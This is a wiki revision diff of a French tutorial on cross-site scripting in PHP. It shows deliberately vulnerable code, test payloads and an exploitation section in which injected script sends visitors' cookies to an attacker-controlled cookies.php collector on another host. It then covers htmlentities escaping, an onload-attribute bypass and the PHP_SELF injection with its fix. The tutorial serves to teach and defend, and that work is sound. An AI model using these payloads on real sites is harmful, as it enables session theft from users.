Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.
failles_web:xss [2012/06/12 12:50] Xartrick créée |
failles_web:xss [2017/04/09 15:33] (Version actuelle) |
||
---|---|---|---|
Ligne 5: | Ligne 5: | ||
Imaginons le code suivant PHP: | Imaginons le code suivant PHP: | ||
- | ''<?php'' | + | <file PHP vuln.php> |
- | + | <?php | |
- | ''$sInput = $_GET['input'];'' | + | $sInput = $_GET['input']; |
- | + | ||
- | ''echo($sInput);'' | + | echo($sInput); |
- | + | ?> | |
- | ''?>'' | + | </file> |
Le code précédent récupère une entrée de l'utilisateur et l'affiche. | Le code précédent récupère une entrée de l'utilisateur et l'affiche. | ||
Ligne 20: | Ligne 20: | ||
Voici une simple requête non-malveillante qui à pour but d'écrite dans la page: | Voici une simple requête non-malveillante qui à pour but d'écrite dans la page: | ||
- | ''./xss.php?input=<script>document.write('XSS');</script>'' | + | <file>./xss.php?input=<script>document.write('XSS');</script></file> |
La page contiendra ainsi: | La page contiendra ainsi: | ||
- | ''XSS'' | + | <file>XSS</file> |
====Exploitation==== | ====Exploitation==== | ||
Maintenant, allons plus loin, essayons de récupérer les cookies de l'utilisateur: | Maintenant, allons plus loin, essayons de récupérer les cookies de l'utilisateur: | ||
- | ''./xss.php?input=<script>document.write(document.cookie);</script>'' | + | <file>./xss.php?input=<script>document.write(document.cookie);</script></file> |
La page contiendra alors tous les cookies de l'utilisateur. | La page contiendra alors tous les cookies de l'utilisateur. | ||
Ligne 39: | Ligne 38: | ||
Il est tout à fait possible d'afficher une image également ! | Il est tout à fait possible d'afficher une image également ! | ||
- | ''<?php'' | + | <file PHP cookies.php> |
- | + | <?php | |
- | ''$sCookies = $_GET['cookies'];'' | + | $sCookies = $_GET['cookies']; |
- | + | ||
- | ''file_put_contents('cookies', file_get_contents('cookies') . "\n\n" . $sCookies);'' | + | file_put_contents('cookies', file_get_contents('cookies') . "\n\n" . $sCookies); |
+ | </file> | ||
Mettons en place notre code malveillant: | Mettons en place notre code malveillant: | ||
- | ''document.write('<img src="http://andromaque/cookies.php?cookies=' + document.cookie + '" />');'' | + | <file>document.write('<img src="http://andromaque/cookies.php?cookies=' + document.cookie + '" />');</file> |
Ceci va créer une balise image et ajouter les cookies de l'utilisateur, ainsi, l'image sera récupéré et en même temps, les cookies seront envoyés. | Ceci va créer une balise image et ajouter les cookies de l'utilisateur, ainsi, l'image sera récupéré et en même temps, les cookies seront envoyés. | ||
- | ''./xss.php?input=<script>document.write('<img src="http://andromaque/cookies.php?cookies=' + document.cookie + '" />');</script>'' | + | <file>./xss.php?input=<script>document.write('<img src="http://andromaque/cookies.php?cookies=' + document.cookie + '" />');</script></file> |
- | ''<img src="http://andromaque/cookies.php?cookies={COOKIES}" />'' | + | <file><img src="http://andromaque/cookies.php?cookies={COOKIES}" /></file> |
Maintenant, le fichier cookies devrait contenir les cookies de l'utilisateur. | Maintenant, le fichier cookies devrait contenir les cookies de l'utilisateur. | ||
Ceci n'est qu'un exemple d'exploitation, il existe des centaines de manière de piéger une personne via une XSS ! | Ceci n'est qu'un exemple d'exploitation, il existe des centaines de manière de piéger une personne via une XSS ! | ||
- | |||
====Permanente et non-permanente==== | ====Permanente et non-permanente==== | ||
Ligne 74: | Ligne 73: | ||
Sous PHP, je recommande l'utilisation de html_entities() en utilisant le paramètre ENT_QUOTES, elle permet de filtrer toutes les entités HTML comme les chevrons et les guillemets. | Sous PHP, je recommande l'utilisation de html_entities() en utilisant le paramètre ENT_QUOTES, elle permet de filtrer toutes les entités HTML comme les chevrons et les guillemets. | ||
- | ''<?php'' | + | <file PHP secure.php> |
+ | <?php | ||
+ | $sInput = $_GET['input']; | ||
+ | |||
+ | echo(htmlentities($sInput, ENT_QUOTES)); | ||
+ | ?> | ||
+ | </file> | ||
- | ''$sInput = $_GET['input'];'' | + | Maintenant, réessayons notre premier script: |
- | ''echo(htmlentities($sInput, ENT_QUOTES));'' | + | <file>./xss.php?input=<script>document.write('XSS');</script></file> |
- | ''?>'' | + | <file><script>document.write('XSS');</script></file> |
- | Maintenant, réessayons notre premier script: | + | Vous êtes maintenant protégé ! |
- | ''./xss.php?input=<script>document.write('XSS');</script>'' | + | ====Cas particulier==== |
+ | === Bypass de htmlentities($input, ENT_QUOTES) === | ||
- | ''&lt;script&gt;document.write(&#039;XSS&#039;);&lt;/script&gt;'' | + | <file PHP unsecure.php> |
+ | <?php | ||
+ | $sInput = $_GET['input']; | ||
+ | |||
+ | echo('<body onload="' . htmlentities($sInput, ENT_QUOTES) . '">Xartrick</body>'); | ||
+ | ?> | ||
+ | </file> | ||
- | Vous êtes maintenant protégé ! | + | Dans ce cas présent, cette protection serait inefficace. |
+ | |||
+ | <file>./xss.php?input=alert(1);</script></file> | ||
+ | |||
+ | <file><body onload="alert(1);">Xartrick</body></file> | ||
+ | |||
+ | Ceci affichera bien un « 1 ». | ||
+ | Ceci est en faite dû aux évènements HTML. | ||
+ | |||
+ | === Le cas de PHP_SELF === | ||
+ | |||
+ | <file PHP unsecure_form.php> | ||
+ | <form method="POST" action="<?php echo $_SERVER[PHP_SELF] ?>"> | ||
+ | ... | ||
+ | </form> | ||
+ | </file> | ||
+ | |||
+ | $_SERVER[PHP_SELF] a pour valeur le nom du script courant, ainsi de nombreux développeurs l'utilisent dans leurs formulaires : si ils modifient le nom du fichier, inutile de toucher au code. | ||
+ | Seulement si on interroge la page suivante : | ||
+ | <file>www.monsite.fr/form.php/"><script>alert("Zenk Security");</script><foo </file> | ||
+ | Le code s’exécutera coté client, '<foo' est utilisé en fin d'url afin de ne pas laisser le chevron de fermeture de 'form' au milieu de la page. | ||
+ | |||
+ | Pour pallier au problème, il suffit d'utiliser à la place le code suivant : | ||
+ | <file PHP>echo htmlentities($_SERVER['PHP_SELF']);</file> |